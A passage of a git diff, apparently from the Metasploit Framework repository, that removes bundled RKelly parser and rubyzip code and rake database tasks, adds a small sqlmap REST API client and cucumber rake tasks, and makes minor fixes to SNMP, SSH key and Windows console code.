visit_OpURShiftEqualNode(o) - [:op_urshift_equal, *super ] - end - - def visit_OpAndEqualNode(o) - [:op_and_equal, *super ] - end - - def visit_OpXOrEqualNode(o) - [:op_xor_equal, *super ] - end - - def visit_OpOrEqualNode(o) - [:op_or_equal, *super ] - end - - def visit_OpModEqualNode(o) - [:op_mod_equal, *super] - end - - def visit_CommaNode(o) - [:comma, *super] - end - - def visit_FunctionCallNode(o) - [:function_call, *super] - end - - def visit_ArrayNode(o) - [:array, super] - end - - def visit_ThisNode(o) - [:this] - end - - def visit_ReturnNode(o) - o.value ? [:return, super] : [:return] - end - - def visit_FunctionExprNode(o) - [ :func_expr, *super] - end - - def visit_FunctionDeclNode(o) - [ :func_decl, *super] - end - - def visit_ArgumentsNode(o) - [:args, super] - end - - def visit_DotAccessorNode(o) - [:dot_access, - super, - o.accessor - ] - end - - def visit_NullNode(o) - [:nil] - end - - def visit_StringNode(o) - [:str, o.value] - end - - def visit_FalseNode(o) - [:false] - end - - def visit_TrueNode(o) - [:true] - end - - end - end -end diff --git a/lib/rkelly/visitors/visitor.rb b/lib/rkelly/visitors/visitor.rb deleted file mode 100644 index cb9d66514b..0000000000 --- a/lib/rkelly/visitors/visitor.rb +++ /dev/null @@ -1,136 +0,0 @@ -module RKelly - module Visitors - class Visitor - TERMINAL_NODES = %w{ - Break Continue EmptyStatement False Null Number Parameter Regexp Resolve - String This True - } - SINGLE_VALUE_NODES = %w{ - Parenthetical AssignExpr BitwiseNot Block Delete Element ExpressionStatement - FunctionBody LogicalNot Return Throw TypeOf UnaryMinus UnaryPlus Void - } - BINARY_NODES = %w{ - Add BitAnd BitOr BitXOr CaseClause Comma Divide DoWhile Equal Greater - GreaterOrEqual In InstanceOf LeftShift Less LessOrEqual LogicalAnd - LogicalOr Modulus Multiply NotEqual NotStrictEqual OpAndEqual - OpDivideEqual OpEqual OpLShiftEqual OpMinusEqual OpModEqual - OpMultiplyEqual OpOrEqual OpPlusEqual OpRShiftEqual OpURShiftEqual - OpXOrEqual RightShift StrictEqual Subtract Switch UnsignedRightShift - While With - } - ARRAY_VALUE_NODES = %w{ - Arguments Array CaseBlock ConstStatement ObjectLiteral SourceElements - VarStatement - } - NAME_VALUE_NODES = %w{ - Label Property GetterProperty SetterProperty VarDecl - } - PREFIX_POSTFIX_NODES = %w{ Postfix Prefix } - CONDITIONAL_NODES = %w{ If Conditional } - FUNC_CALL_NODES = %w{ NewExpr FunctionCall } - FUNC_DECL_NODES = %w{ FunctionExpr FunctionDecl } - ALL_NODES = %w{ For ForIn Try BracketAccessor DotAccessor } + - TERMINAL_NODES + SINGLE_VALUE_NODES + BINARY_NODES + ARRAY_VALUE_NODES + - NAME_VALUE_NODES + PREFIX_POSTFIX_NODES + CONDITIONAL_NODES + - FUNC_CALL_NODES + FUNC_DECL_NODES - - def accept(target) - target.accept(self) - end - - TERMINAL_NODES.each do |type| - define_method(:"visit_#{type}Node") { |o| o.value } - end - - BINARY_NODES.each do |type| - define_method(:"visit_#{type}Node") do |o| - [o.left && o.left.accept(self), o.value && o.value.accept(self)] - end - end - - ARRAY_VALUE_NODES.each do |type| - define_method(:"visit_#{type}Node") do |o| - o.value && o.value.map { |v| v ? v.accept(self) : nil } - end - end - - NAME_VALUE_NODES.each do |type| - define_method(:"visit_#{type}Node") do |o| - [o.name.to_s.to_sym, o.value ? o.value.accept(self) : nil] - end - end - - SINGLE_VALUE_NODES.each do |type| - define_method(:"visit_#{type}Node") do |o| - o.value.accept(self) if o.value - end - end - - PREFIX_POSTFIX_NODES.each do |type| - define_method(:"visit_#{type}Node") do |o| - o.operand.accept(self) - end - end - - CONDITIONAL_NODES.each do |type| - define_method(:"visit_#{type}Node") do |o| - [ o.conditions.accept(self), - o.value.accept(self), - o.else ? o.else.accept(self) : nil - ] - end - end - FUNC_CALL_NODES.each do |type| - define_method(:"visit_#{type}Node") do |o| - [o.value.accept(self), o.arguments.accept(self)] - end - end - FUNC_DECL_NODES.each do |type| - define_method(:"visit_#{type}Node") do |o| - [ - o.value ? o.value : nil, - o.arguments.map { |x| x.accept(self) }, - o.function_body.accept(self) - ] - end - end - - def visit_ForNode(o) - [ - o.init ? o.init.accept(self) : nil, - o.test ? o.test.accept(self) : nil, - o.counter ? o.counter.accept(self) : nil, - o.value.accept(self) - ] - end - - def visit_ForInNode(o) - [ - o.left.accept(self), - o.right.accept(self), - o.value.accept(self) - ] - end - - def visit_TryNode(o) - [ - o.value.accept(self), - o.catch_var ? o.catch_var : nil, - o.catch_block ? o.catch_block.accept(self) : nil, - o.finally_block ? o.finally_block.accept(self) : nil - ] - end - - def visit_BracketAccessorNode(o) - [ - o.value.accept(self), - o.accessor.accept(self) - ] - end - - def visit_DotAccessorNode(o) - o.value.accept(self) - end - end - end -end diff --git a/lib/snmp/manager.rb b/lib/snmp/manager.rb index 6e4a53f0ce..d84f9bcf4e 100644 --- a/lib/snmp/manager.rb +++ b/lib/snmp/manager.rb @@ -62,8 +62,9 @@ class RexUDPTransport @socket.sendto(data, host, port, flags) rescue NoMethodError @socket.send(data, 0, host, port) + rescue ::Errno::EISCONN + @socket.write(data) end - end def recv(max_bytes) @@ -715,4 +716,3 @@ class TrapListener end end - diff --git a/lib/sqlmap/sqlmap_manager.rb b/lib/sqlmap/sqlmap_manager.rb new file mode 100644 index 0000000000..cbb69c3b80 --- /dev/null +++ b/lib/sqlmap/sqlmap_manager.rb @@ -0,0 +1,50 @@ +require 'json' + +module Sqlmap + class Manager + def initialize(session) + @session = session + end + + def new_task + res = @session.get('/task/new') + return JSON.parse(res.body) + end + + def delete_task(task_id) + res = @session.get('/task/' + task_id + '/delete') + return JSON.parse(res.body) + end + + def set_option(task_id, key, value) + post = { key => value } + res = @session.post('/option/' + task_id + '/set', nil, post.to_json, {'ctype' => 'application/json'}) + return JSON.parse(res.body) + end + + def get_options(task_id) + res = @session.get('/option/' + task_id + '/list') + return JSON.parse(res.body) + end + + def start_task(task_id, options = {}) + res = @session.post('/scan/' + task_id + '/start' , nil, options.to_json, {'ctype' => 'application/json'}) + return JSON.parse(res.body) + end + + def get_task_status(task_id) + res = @session.get('/scan/' + task_id + '/status') + return JSON.parse(res.body) + end + + def get_task_log(task_id) + res = @session.get('/scan/' + task_id + '/log') + return JSON.parse(res.body) + end + + def get_task_data(task_id) + res = @session.get('/scan/' + task_id + '/data') + return JSON.parse(res.body) + end + end +end diff --git a/lib/sqlmap/sqlmap_session.rb b/lib/sqlmap/sqlmap_session.rb new file mode 100644 index 0000000000..3fb64f7c88 --- /dev/null +++ b/lib/sqlmap/sqlmap_session.rb @@ -0,0 +1,37 @@ +module Sqlmap + class Session + def initialize(host, port = 8775) + @host = host + @port = port + end + + def get(uri, headers = nil, params = nil) + c = Rex::Proto::Http::Client.new(@host, @port) + args = { + 'uri' => uri + } + + args['headers'] = headers if headers + args['vars_get'] = params if params + res = c.request_cgi(args) + res = c.send_recv(res) + return res + end + + def post(uri, headers = nil, data = nil, originator_args = nil) + c = Rex::Proto::Http::Client.new(@host, @port) + args = { + 'uri' => uri, + 'method' => 'POST' + } + + args.merge!(originator_args) if originator_args + + args['headers'] = headers if headers + args['data'] = data if data + res = c.request_cgi(args) + res = c.send_recv(res) + return res + end + end +end diff --git a/lib/sshkey/lib/sshkey.rb b/lib/sshkey/lib/sshkey.rb index 6035c10416..6a89dbee21 100644 --- a/lib/sshkey/lib/sshkey.rb +++ b/lib/sshkey/lib/sshkey.rb @@ -159,7 +159,7 @@ class SSHKey SSH_CONVERSION[type].each do |method| byte_array = to_byte_array(key_object.public_key.send(method).to_i) - out += encode_unsigned_int_32(byte_array.length).pack("c*") + out += encode_unsigned_int_32(byte_array.length).pack("C*") out += byte_array.pack("C*") end diff --git a/lib/tasks/cucumber.rake b/lib/tasks/cucumber.rake new file mode 100644 index 0000000000..ff424fa7b0 --- /dev/null +++ b/lib/tasks/cucumber.rake @@ -0,0 +1,74 @@ +# IMPORTANT: This file is generated by cucumber-rails - edit at your own peril. +# It is recommended to regenerate this file in the future when you upgrade to a +# newer version of cucumber-rails. Consider adding your own code to a new file +# instead of editing this one. Cucumber will automatically load all features/**/*.rb +# files. + + +unless ARGV.any? {|a| a =~ /^gems/} # Don't load anything when running the gems:* tasks + +vendored_cucumber_bin = Dir["#{Rails.root}/vendor/{gems,plugins}/cucumber*/bin/cucumber"].first +$LOAD_PATH.unshift(File.dirname(vendored_cucumber_bin) + '/../lib') unless vendored_cucumber_bin.nil? + +begin + require 'cucumber/rake/task' + + namespace :cucumber do + Cucumber::Rake::Task.new({:ok => 'db:test:prepare'}, 'Run features that should pass') do |t| + t.binary = vendored_cucumber_bin # If nil, the gem's binary is used. + t.fork = true # You may get faster startup if you set this to false + t.profile = 'default' + end + + Cucumber::Rake::Task.new({:wip => 'db:test:prepare'}, 'Run features that are being worked on') do |t| + t.binary = vendored_cucumber_bin + t.fork = true # You may get faster startup if you set this to false + t.profile = 'wip' + end + + Cucumber::Rake::Task.new({:rerun => 'db:test:prepare'}, 'Record failing features and run only them if any exist') do |t| + t.binary = vendored_cucumber_bin + t.fork = true # You may get faster startup if you set this to false + t.profile = 'rerun' + end + + desc 'Run all features' + task :all => [:ok, :wip] + + task :statsetup do + require 'rails/code_statistics' + ::STATS_DIRECTORIES << %w(Cucumber\ features features) if File.exist?('features') + ::CodeStatistics::TEST_TYPES << "Cucumber features" if File.exist?('features') + end + end + desc 'Alias for cucumber:ok' + task :cucumber => 'cucumber:ok' + + task :default => :cucumber + + task :features => :cucumber do + STDERR.puts "*** The 'features' task is deprecated. See rake -T cucumber ***" + end + + # In case we don't have ActiveRecord, append a no-op task that we can depend upon. + task 'db:test:prepare' do + end + + task 'db:config:restore' do + require 'metasploit/framework/database/cucumber' + Metasploit::Framework::Database::Cucumber.restore_project_configurations + end + + # Restore the config/database.yml from config/database.cucumber.yml before attempting to copy development to test + # database in order to recover from interrupted cucumber runs + task 'environment' => 'db:config:restore' + + task :stats => 'cucumber:statsetup' +rescue LoadError + desc 'cucumber rake task not available (cucumber not installed)' + task :cucumber do + abort 'Cucumber rake task is not available. Be sure to install cucumber as a gem or plugin' + end +end + +end diff --git a/lib/tasks/custom_cucumber.rake b/lib/tasks/custom_cucumber.rake new file mode 100644 index 0000000000..3dab9d0697 --- /dev/null +++ b/lib/tasks/custom_cucumber.rake @@ -0,0 +1,24 @@ +unless ARGV.any? {|a| a =~ /^gems/} # Don't load anything when running the gems:* tasks + +vendored_cucumber_bin = Dir["#{Rails.root}/vendor/{gems,plugins}/cucumber*/bin/cucumber"].first +$LOAD_PATH.unshift(File.dirname(vendored_cucumber_bin) + '/../lib') unless vendored_cucumber_bin.nil? + +begin + require 'cucumber/rake/task' + + namespace :cucumber do + Cucumber::Rake::Task.new({:boot => 'db:test:prepare'}, 'Run features that should pass') do |t| + t.binary = vendored_cucumber_bin # If nil, the gem's binary is used. + t.fork = true # You may get faster startup if you set this to false + t.profile = 'boot' + end + end + +rescue LoadError + desc 'cucumber rake task not available (cucumber not installed)' + task :cucumber do + abort 'Cucumber rake task is not available. Be sure to install cucumber as a gem or plugin' + end +end + +end \ No newline at end of file diff --git a/lib/tasks/database.rake b/lib/tasks/database.rake deleted file mode 100644 index 646db409ff..0000000000 --- a/lib/tasks/database.rake +++ /dev/null @@ -1,73 +0,0 @@ -load 'active_record/railties/databases.rake' - -require 'metasploit/framework' -require 'metasploit/framework/database' - -# A modification to remove dependency on Rails.env -# -# @see https://github.com/rails/rails/blob/ddce29bfa12462fde2342a0c2bd0eefd420c0eab/activerecord/lib/active_record/railties/databases.rake#L550 -def configs_for_environment - environments = [Metasploit::Framework.env] - - if Metasploit::Framework.env.development? - environments << 'test' - end - - environment_configurations = ActiveRecord::Base.configurations.values_at(*environments) - present_environment_configurations = environment_configurations.compact - valid_environment_configurations = present_environment_configurations.reject { |config| - config['database'].blank? - } - - valid_environment_configurations -end - -# emulate initializer "active_record.initialize_database" from active_record/railtie -ActiveSupport.on_load(:active_record) do - self.configurations = Metasploit::Framework::Database.configurations - puts "Connecting to database specified by #{Metasploit::Framework::Database.configurations_pathname}" - - spec = configurations[Metasploit::Framework.env] - establish_connection(spec) -end - -# -# Remove tasks that aren't supported -# - -Rake::TaskManager.class_eval do - def remove_task(task_name) - @tasks.delete(task_name.to_s) - end -end - -Rake.application.remove_task('db:fixtures:load') - -# completely replace db:load_config and db:seed as they will attempt to use -# Rails.application, which does not exist -Rake::Task['db:load_config'].clear -Rake::Task['db:seed'].clear - -db_namespace = namespace :db do - task :load_config do - ActiveRecord::Base.configurations = Metasploit::Framework::Database.configurations - - ActiveRecord::Migrator.migrations_paths = [ - # rails isn't in Gemfile, so can't use the more appropriate - # Metasploit::Engine.instance.paths['db/migrate'].to_a since using - # Metasploit::Engine requires rails. - MetasploitDataModels.root.join('db', 'migrate').to_s - ] - end - - desc 'Load the seed data from db/seeds.rb' - task :seed do - db_namespace['abort_if_pending_migrations'].invoke - seeds_pathname = Metasploit::Framework.root.join('db', 'seeds.rb') - - if seeds_pathname.exist? - load(seeds_pathname) - end - end -end - diff --git a/lib/tasks/databases.rake b/lib/tasks/databases.rake new file mode 100644 index 0000000000..f75cd735ee --- /dev/null +++ b/lib/tasks/databases.rake @@ -0,0 +1,7 @@ +namespace :db do + # Add onto the task so that after adding Rails.application.paths['db/migrate'] + task :load_config do + # It's important to call to_a or the paths will just be relative and not realpaths + ActiveRecord::Migrator.migrations_paths += Metasploit::Credential::Engine.instance.paths['db/migrate'].to_a + end +end \ No newline at end of file diff --git a/lib/tasks/rails.rake b/lib/tasks/rails.rake deleted file mode 100644 index bcb90975aa..0000000000 --- a/lib/tasks/rails.rake +++ /dev/null @@ -1,21 +0,0 @@ -# Rake tasks added for compatibility with rake tasks that depend on a Rails -# environment, such as those in activerecord - -# Would normally load config/environment.rb of the rails application. -# -# @see https://github.com/rails/rails/blob/e2908356672d4459ada0064f773efd820efda822/railties/lib/rails/application.rb#L190 -task :environment do - # ensures that Mdm models are available for migrations which use the models - MetasploitDataModels.require_models - - # avoids the need for Rails.root in db:schema:dump - schema_pathname = Metasploit::Framework.root.join('db', 'schema.rb') - ENV['SCHEMA'] = schema_pathname.to_s -end - -# This would normally default RAILS_ENV to development if ENV['RAILS_ENV'] is -# not set -# -# @see https://github.com/rails/rails/blob/1a275730b290c1f06d4e8df680d22ae1b41ab585/railties/lib/rails/tasks/misc.rake#L3 -task :rails_env do -end diff --git a/lib/windows_console_color_support.rb b/lib/windows_console_color_support.rb index a2d23d6dad..2b626cc078 100644 --- a/lib/windows_console_color_support.rb +++ b/lib/windows_console_color_support.rb @@ -36,7 +36,7 @@ class WindowsConsoleColorSupport def setcolor(color) csbi = 0.chr * 24 @GetConsoleScreenBufferInfo.Call(@hConsoleHandle,csbi) - wAttr = csbi[8,2].unpack('S').first + wAttr = csbi[8,2].unpack('v').first case color when 0 # reset diff --git a/lib/zip.rb b/lib/zip.rb deleted file mode 100644 index 5a89853ce1..0000000000 --- a/lib/zip.rb +++ /dev/null @@ -1 +0,0 @@ -require 'zip/zip' diff --git a/lib/zip/ChangeLog b/lib/zip/ChangeLog deleted file mode 100644 index 63bf7858f0..0000000000 --- a/lib/zip/ChangeLog +++ /dev/null @@ -1,1146 +0,0 @@ -2010-01-01 13:43 thomas - - * NEWS, lib/zip/zip.rb, test/ziptest.rb: Changed - ZipOutputStream.put_next_entry to make it possible to specifiy - comments, extra field and compression method. - -2009-12-31 16:25 thomas - - * Rakefile: Updated publish method. - -2009-11-27 22:59 thomas - - * NEWS, lib/zip/zip.rb: Bumped micro number and updated NEWS file. - - * lib/zip/zip.rb: Provide convenience methods for retrieving name - and comments in character encoding of choice (pending ruby - character String class). - -2009-04-05 12:28 thomas - - * install.rb, lib/zip/zip.rb, samples/example_filesystem.rb, - test/zipfilesystemtest.rb, test/ziptest.rb: Applied ruby-1.9 - compatibility patch from Yuya Nishida. - -2008-08-26 20:49 thomas - - * lib/zip/zip.rb: Rewrote fix for rename bug. - -2008-08-24 14:34 thomas - - * lib/zip/zip.rb, test/ziptest.rb: Refixed rename to avoid - decompressing and recompressing entry. - -2008-08-24 11:43 drylight - - * NEWS, README, Rakefile, lib/zip/zip.rb: Update version number and - minor release note changes. - - * NEWS, README, lib/zip/zip.rb, test/ziptest.rb: Fixed: Renaming an - entry failed if the entry's new name was a different length than - its old name. - -2006-12-24 11:42 thomas - - * lib/zip/: ioextras.rb, zip.rb: Added IOExtras.copy_stream_n and - used it to avoid loading large entries into memory when copying - from one stream to another. - -2006-12-17 15:03 thomas - - * lib/zip/zip.rb: Bug 1614537 Version needed to extract set. - -2006-11-21 09:12 thomas - - * lib/zip/zipfilesystem.rb, test/zipfilesystemtest.rb: Bug 1600222 - Fixed it so ZipFsFile#open accepts and ignores b(inary) option. - -2006-09-05 22:53 thomas - - * test/zipfilesystemtest.rb: Avoid warnings while running tests. - -2006-08-04 19:56 technorama - - * lib/zip/zip.rb: bugfix: :link -> :symlink - -2006-07-01 10:04 thomas - - * Rakefile: Don't autorequire zip/zip - autorequire is deprecated. - -2006-06-30 09:28 thomas - - * Rakefile: [no log message] - - * NEWS, lib/zip/zip.rb: Bumped version number and reformatted NEWS - a bit. - -2006-06-29 22:49 technorama - - * lib/zip/zip.rb, NEWS: documentation additions - -2006-04-30 06:25 technorama - - * TODO, lib/zip/zip.rb, test/ziptest.rb: add documentation and test - for new ZipFile::extract - - * lib/zip/zip.rb: add some of the API suggestions from sf.net - #1281314 - - * lib/zip/zip.rb: apply patch for bug #1446926 - - * lib/zip/zip.rb: apply patch for bug #1459902 - -2006-04-26 17:17 technorama - - * lib/zip/zip.rb: add ZipFile @restore_*, documentation update - -2006-04-07 21:13 technorama - - * test/: gentestfiles.rb, zipfilesystemtest.rb, ziptest.rb: - additional tests - -2006-03-28 04:11 technorama - - * lib/zip/zip.rb: start of unix_uid, unix_gid, restore_* support - - * lib/zip/zip.rb: follow_symlinks is now optional - - * lib/zip/zip.rb: add eof? methods - - * test/ziptest.rb: eof? tests - -2006-02-26 09:57 technorama - - * README: add to authors - - * TODO: [no log message] - -2006-02-25 12:04 thomas - - * lib/zip/zip.rb, test/ziptest.rb: Did away with ZipStreamableFile. - -2006-02-23 08:03 technorama - - * lib/zip/zip.rb: unix file permissions. symlink support. rework - ZipEntry and delegate classes. reduce memory usage during - decompression. - -2006-02-22 23:44 technorama - - * lib/zip/zipfilesystem.rb: update permissionInt for mkdir - -2006-02-04 10:42 thomas - - * lib/zip/: ioextras.rb, zip.rb: Merged patch from oss-ruby. - -2005-11-19 16:17 thomas - - * lib/zip/zip.rb: [no log message] - -2005-11-08 08:23 thomas - - * lib/zip/ioextras.rb: Accepted patch from oss-ruby - -2005-10-07 09:54 thomas - - * TODO: [no log message] - -2005-09-06 21:19 thomas - - * lib/zip/zip.rb: [no log message] - - * NEWS: [no log message] - - * lib/zip/zip.rb, test/gentestfiles.rb, test/ziptest.rb: Fixed - problem on windows - tempfile has to be set to binmode again when - it is reopened - -2005-09-04 16:45 thomas - - * Rakefile: [no log message] - - * TODO: [no log message] - - * test/ziptest.rb: [no log message] - -2005-09-03 10:27 thomas - - * NEWS: [no log message] - - * TODO, lib/zip/zip.rb: [no log message] - - * lib/zip/ioextras.rb, lib/zip/zip.rb, test/ziptest.rb: Merged - patch from oss-ruby at technorama.net - - * test/ziptest.rb: Added failing test that shows that read and gets - don't mix currently - -2005-08-29 08:50 thomas - - * lib/zip/: ioextras.rb, zip.rb: [no log message] - - * NEWS, lib/zip/zip.rb: [no log message] - - * lib/zip/zip.rb: [no log message] - - * lib/zip/zip.rb: [no log message] - -2005-08-07 14:27 thomas - - * lib/zip/zip.rb, NEWS: [no log message] - -2005-08-06 11:12 thomas - - * lib/zip/: ioextras.rb, zip.rb: [no log message] - -2005-08-03 18:54 thomas - - * lib/zip/zip.rb: Read/write in chunks to preserve memory - -2005-07-02 15:08 thomas - - * lib/zip/zip.rb: Applied received patch concerning FreeBSD 4.5 - issue - -2005-04-03 16:52 thomas - - * samples/.cvsignore: [no log message] - - * samples/: qtzip.rb, zipdialogui.ui: Added a qt example - -2005-03-31 21:58 thomas - - * lib/zip/zip.rb, test/ziptest.rb: [no log message] - - * test/zipfilesystemtest.rb: [no log message] - -2005-03-17 18:17 thomas - - * Rakefile: [no log message] - - * NEWS, README, lib/zip/zip.rb: [no log message] - - * install.rb: Fixed install.rb - -2005-03-03 18:38 thomas - - * Rakefile: [no log message] - -2005-02-27 16:23 thomas - - * lib/zip/ziprequire.rb: Added documentation to ziprequire - - * README, TODO, lib/zip/ziprequire.rb: Added documentation to - ziprequire - - * Rakefile, test/ziptest.rb: [no log message] - -2005-02-19 21:30 thomas - - * lib/zip/ioextras.rb, lib/zip/stdrubyext.rb, - lib/zip/tempfile_bugfixed.rb, lib/zip/zip.rb, - lib/zip/ziprequire.rb, test/ioextrastest.rb, - test/stdrubyexttest.rb, test/zipfilesystemtest.rb, - test/ziprequiretest.rb, test/ziptest.rb: Added more rdoc and - changed the remaining tests to Test::Unit - - * lib/zip/: ioextras.rb, zip.rb: Added documentation to - ZipInputStream and ZipOutputStream - -2005-02-18 10:27 thomas - - * README: [no log message] - -2005-02-17 23:21 thomas - - * README, Rakefile: Added ppackage (publish package) task to - Rakefile - - * README, Rakefile, TODO: Added pdoc (publish doc) task to Rakefile - - * README, Rakefile, TODO, lib/zip/stdrubyext.rb, lib/zip/zip.rb, - lib/zip/zipfilesystem.rb: Added a bunch of documentation - - * test/ziptest.rb: [no log message] - -2005-02-16 20:04 thomas - - * NEWS, README, Rakefile: Improved documentation and added rdoc - task to Rakefile - - * NEWS, Rakefile, lib/zip/zip.rb: [no log message] - - * Rakefile, samples/example.rb, samples/example_filesystem.rb, - samples/gtkRubyzip.rb, samples/write_simple.rb, - samples/zipfind.rb, test/.cvsignore, test/gentestfiles.rb: - Improvements to Rakefile - -2005-02-15 23:35 thomas - - * NEWS, TODO: [no log message] - - * Rakefile, rubyzip.gemspec: Now uses Rake to build gem - - * Rakefile: [no log message] - - * lib/zip/zip.rb, test/.cvsignore, test/ziptest.rb, NEWS: Fixed - compatibility issue with ruby 1.8.2. Migrated test suite to - Test::Unit - - * NEWS, lib/zip/ioextras.rb, lib/zip/stdrubyext.rb, - lib/zip/tempfile_bugfixed.rb, lib/zip/zip.rb, - lib/zip/zipfilesystem.rb, lib/zip/ziprequire.rb, test/.cvsignore, - test/file1.txt, test/file1.txt.deflatedData, test/file2.txt, - test/gentestfiles.rb, test/ioextrastest.rb, - test/notzippedruby.rb, test/rubycode.zip, test/rubycode2.zip, - test/stdrubyexttest.rb, test/testDirectory.bin, - test/zipWithDirs.zip, test/zipfilesystemtest.rb, - test/ziprequiretest.rb, test/ziptest.rb, test/data/.cvsignore, - test/data/file1.txt, test/data/file1.txt.deflatedData, - test/data/file2.txt, test/data/notzippedruby.rb, - test/data/rubycode.zip, test/data/rubycode2.zip, - test/data/testDirectory.bin, test/data/zipWithDirs.zip: Changed - directory structure - -2005-02-13 22:44 thomas - - * Rakefile, TODO: [no log message] - - * rubyzip.gemspec: [no log message] - - * install.rb: Made install.rb independent of the current path - (fixes bug reported by Drew Robinson) - -2004-12-12 11:22 thomas - - * NEWS, TODO, samples/write_simple.rb: Fixed 'version needed to - extract'-field wrong in local headers - -2004-05-02 15:17 thomas - - * rubyzip.gemspec: Added gemspec contributed by Chad Fowler - -2004-04-02 07:25 thomas - - * NEWS: Fix for FreeBSD 4.9 - -2004-03-29 00:28 thomas - - * NEWS: [no log message] - -2004-03-28 17:59 thomas - - * NEWS: [no log message] - -2004-03-27 16:09 thomas - - * test/stdrubyexttest.rb: Patch for stdrubyext.rb from Nobu Nakada - - * test/: ioextrastest.rb, stdrubyexttest.rb: converted some files - to unix line-endings - -2004-03-25 16:34 thomas - - * NEWS, install.rb: Significantly reduced memory footprint when - modifying zip files - -2004-03-16 18:20 thomas - - * install.rb, test/alltests.rb, test/ioextrastest.rb, - test/stdrubyexttest.rb, test/ziptest.rb: IO utility classes moved - to new file ioextras.rb. Tests moved to new file ioextrastest.rb - -2004-02-27 13:21 thomas - - * NEWS: Optimization to avoid decompression and recompression - -2004-01-30 16:17 thomas - - * NEWS: [no log message] - - * README, test/zipfilesystemtest.rb, test/ziptest.rb: Applied - extra-field patch - -2003-12-13 16:57 thomas - - * TODO: [no log message] - -2003-12-10 00:25 thomas - - * test/ziptest.rb: (Temporary) fix to bug reported by Takashi Sano - -2003-08-23 09:42 thomas - - * test/ziptest.rb, NEWS: Fixed ZipFile.get_ouput_stream bug - data - was never written to zip - -2003-08-21 16:05 thomas - - * install.rb: [no log message] - - * alltests.rb, stdrubyexttest.rb, zipfilesystemtest.rb, - ziprequiretest.rb, ziptest.rb, test/alltests.rb, - test/stdrubyexttest.rb, test/zipfilesystemtest.rb, - test/ziprequiretest.rb, test/ziptest.rb: Moved all test ruby - files to test/ - - * NEWS, install.rb, stdrubyext.rb, stdrubyexttest.rb, zip.rb, - zipfilesystem.rb, zipfilesystemtest.rb, ziprequire.rb, - ziprequiretest.rb, ziptest.rb, samples/example.rb, - samples/example_filesystem.rb, samples/gtkRubyzip.rb, - samples/zipfind.rb: Moved all production source files to zip/ so - they are in the same dir as when they are installed - - * NEWS, TODO, alltests.rb: [no log message] - - * filearchive.rb, filearchivetest.rb, fileutils.rb: Removed - filearchive.rb, filearchivetest.rb and fileutils.rb - - * samples/.cvsignore, samples/example_filesystem.rb, zip.rb, - samples/example_filesystem.rb: Added - samples/example_filesystem.rb. Fixed Tempfile creation for - entries created with get_output_stream where entries were in a - subdirectory - - * zip.rb, ziptest.rb: Fixed mkdir bug. ZipFile.mkdir didn't work if - the zipfile doesn't exist already - - * ziptest.rb: [no log message] - - * TODO, zipfilesystemtest.rb: Globbing test placeholder commented - out - - * zipfilesystem.rb, zipfilesystemtest.rb: Implemented ZipFsDir.new - and open - - * zipfilesystem.rb, zipfilesystemtest.rb: Implemented DirFsIterator - and tests - -2003-08-20 22:50 thomas - - * NEWS, TODO: [no log message] - - * zipfilesystemtest.rb: [no log message] - - * zipfilesystem.rb, zipfilesystemtest.rb: Implemented - ZipFsDir.foreach, ZipFsDir.entries now reimplemented in terms of - it - - * README: [no log message] - - * zipfilesystem.rb, zipfilesystemtest.rb: [no log message] - - * zipfilesystem.rb: All access from ZipFsFile and ZipFsDir to - ZipFile is now routed through ZipFileNameMapper which has the - single responsibility of mapping entry/filenames - - * alltests.rb, stdrubyext.rb, stdrubyexttest.rb: Added - stdrubyexttest.rb and added test test_select_map - - * zipfilesystem.rb: ZipFsDir was in the wrong module. ZipFileSystem - now has a ctor that creates ZipFsDir and ZipFsFile instances, - instead of creating them lazily. It then passes the dir instance - to the file instance and vice versa - - * zip.rb, zipfilesystem.rb, zipfilesystemtest.rb: ZipFsFile.open - honours chdir - - * stdrubyext.rb, zip.rb, zipfilesystem.rb, zipfilesystemtest.rb, - ziptest.rb: Fixed ZipEntry::parent_as_string. Implemented - ZipFsDir.chdir, pwd and entries including test - -2003-08-19 15:44 thomas - - * zip.rb, zipfilesystem.rb, zipfilesystemtest.rb: Implemented - ZipFsDir.mkdir - - * zipfilesystem.rb, zipfilesystemtest.rb: Implemented - ZipFsDir.delete (and aliases rmdir and unlink) - - * zipfilesystem.rb, zipfilesystemtest.rb: Another dummy - implementation and commented out a test for select() which can be - added later - -2003-08-18 20:40 thomas - - * ziptest.rb: Honoured 1.8.0 Object.to_a deprecation warning - - * zip.rb, ziptest.rb, samples/example.rb, samples/zipfind.rb: - Converted a few more names to ruby underscore style that I missed - with the automated processing the first time around - - * zip.rb, zipfilesystem.rb, zipfilesystemtest.rb, ziptest.rb: - Implemented Zip::ZipFile.get_output_stream - -2003-08-17 18:28 thomas - - * README, install.rb, stdrubyext.rb, zipfilesystem.rb, - zipfilesystemtest.rb: Updated README with Documentation section. - Updated install.rb. Fixed three tests that failed on 1.8.0. - -2003-08-14 05:40 thomas - - * zipfilesystem.rb, zipfilesystemtest.rb: Added empty - implementations of atime and ctime - -2003-08-13 17:08 thomas - - * simpledist.rb: Moved simpledist to a separate repository called - 'misc' - - * NEWS: [no log message] - - * stdrubyext.rb, zip.rb, zipfilesystem.rb, zipfilesystemtest.rb, - ziprequire.rb, ziprequiretest.rb, ziptest.rb, samples/example.rb, - samples/gtkRubyzip.rb, samples/zipfind.rb: Changed all method - names to the ruby convention underscore style - - * alltests.rb, zipfilesystem.rb, zipfilesystemtest.rb: Implemented - a lot more of the stat methods. Mostly with dummy implementations - that return values that indicate that these features aren't - supported - - * zipfilesystem.rb, zipfilesystemtest.rb: Implemented more methods - and tests in zipfilesystem. Mostly empty methods as permissions - and file types other than files and directories are not supported - - * install.rb, stdrubyext.rb, zip.rb, zipfilesystem.rb, - zipfilesystemtest.rb: Addd file stdrubyext.rb and moved the - modifications to std ruby classes to it. Refactored the ZipFsStat - tests and ZipFsStat. Added Module.forwardMessages and used it to - implement the forwarding of calls in ZipFsStat - - * zipfilesystem.rb, zipfilesystemtest.rb: Added - Zip::ZipFsFile::ZipFsStat and started implementing it and its - methods - - * zipfilesystem.rb, zipfilesystemtest.rb, ziptest.rb: Updated and - added missing copyright notices - - * zip.rb, zipfilesystem.rb, zipfilesystemtest.rb: zipfilesystem.rb - is becoming big and not everyone will want to use that code. - Therefore zip.rb no longer requires it. Instead you must require - zipfilesystem.rb itself if you want to use it - - * zipfilesystem.rb, zipfilesystemtest.rb: Implemented dummy - permission test methods - - * TODO, zip.rb, ziptest.rb: Merged from patch from Kristoffer - Lunden. Fixed more 1.8.0 incompatibilites - tests run on 1.8.0 - now - -2003-08-12 19:18 thomas - - * zip.rb: Get rid of 1.8.0 warning - - * ziptest.rb: ruby 1.8.0 